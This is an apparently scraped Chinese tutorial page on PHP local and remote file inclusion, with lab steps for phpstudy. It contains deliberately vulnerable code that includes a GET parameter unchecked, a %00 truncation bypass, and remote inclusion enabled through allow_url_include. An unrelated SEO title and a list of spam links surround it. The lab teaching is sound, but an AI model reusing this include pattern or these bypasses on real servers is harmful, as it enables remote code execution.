当前位置: 首页 > wzjs >正文

p2p网站怎么做seo超级外链

p2p网站怎么做,seo超级外链,京东pc网站用什么做的,新疆所有的网站文件本地与远程包含: 文件包含有本地包含与远程包含的区别:本地包含只能包含服务器已经有的问题; 远程包含可以包含一切网络上的文件。 本地包含: ①无限制 感受一下使用phpstudy的文件上传,开启phpstudy的apache…

文件本地与远程包含:

文件包含有本地包含与远程包含的区别:本地包含只能包含服务器已经有的问题;

远程包含可以包含一切网络上的文件。

  • 本地包含:

①无限制

感受一下使用phpstudy的文件上传,开启phpstudy的apache服务,在网站根目录新建两个文件

//1.txt 
<?php 
phpinfo(); 
?> //upload.php 
<?php 
$filename=$_GET['filename']; 
include($filename); 
?>

 

直接访问localhost/upload.php?filename=1.txt(upload.php文件内容意为使用GET方式将文件名参数传入,执行包含指令),访问如图(即使是txt文件,但是include会将其按php文件进行解析)

②有限制

如果服务器对上传的文件有限制,我们需要做绕过处理将文件包含进去。

在网站根目录下新建两个文件

//1.txt 
<?php 
phpinfo(); 
?>//upload2.php 
<?php 
$filename=$_GET['filename']; 
include($filename.'.html') 
?>

如果直接访问localhost/upload2.php?filename=1.txt会报错,因为有限制,我们可以使用%00截断进行绕过。(%00具体解释参考往篇)访问localhost/upload2.php?filename=1.txt%00

长度截断:Windows和Linux对命名长度有限制,前者256个字符(磁盘分区还占一个,用户只能使用255个),后者4096

  • 远程包含:

phpstudy其他选项菜单-php扩展与设置-参数开关设置中打开allow_url_include(一般情况下为了安全性,这个是关的状态)

在远程服务器上上传文件(或者可以用虚拟机靶机做实验,在靶机的phpstudy上的根目录里写文件)如下:

//1.txt 
<?php 
phpinfo(); 
?>

靶机查询IP地址,假如是192.168.123.23

就可以在主机上直接访问http://192.168.123.23:88/1.txt

可以看到上传文件内容。

我们再使用文件包含,即访问http://localhost/upload.php?filename=http://192.168.123.23:88/1.txt即可执行文件内容。

http://www.dtcms.com/wzjs/209185.html

相关文章:

  • 怎么做门户网站网络服务器的功能
  • 网站功能报价明细表汕头seo代理
  • 好用的免费网站成人馆店精准引流怎么推广
  • axure网站返回顶部按钮怎么做谷歌关键词热度查询
  • 哪个网站可以做批发国内网站排名
  • 成都网站建设外包公司排名万网官网域名查询
  • wordpress 商会 模版整站seo优化公司
  • 有做学业水平测试的网站网页怎么做出来的
  • 推荐个在广州做网站的淄博seo培训
  • 建个人网站需要钱嘛软文推广渠道主要有
  • 石家庄网站定制如何去除痘痘有效果
  • 网站设计公司长沙公司所有的竞价托管公司
  • 如果做局域网影音网站全国疫情排行榜最新情况列表
  • 珠海建设工程信息网站网络营销的特点有哪些特点
  • 包头网站建设公司新闻联播俄罗斯与乌克兰
  • 网站建设合同需注意什么杭州旺道企业服务有限公司
  • 做网站没有手机端厦门网站外包
  • 百度网站统计南宁seo
  • 天津专门做网站的公司珠海seo推广
  • 怎么优化网站程序企业网页设计制作
  • wordpress添加子站百度指数查询平台
  • 天津网站制作公司电话上海网络推广
  • php网站 config专业推广引流团队
  • wordpress自定义鼠标提高seo排名
  • 网页设计师专业培训seo关键词排名优化报价
  • 深圳网站建设公司为什链交换
  • 长葛网站建设公司网址提交
  • 怎么做公司内网网站中国十大网站排名
  • 网站布局设计理由成人职业培训机构
  • 网站权重一直做不上去网站推广去哪家比较好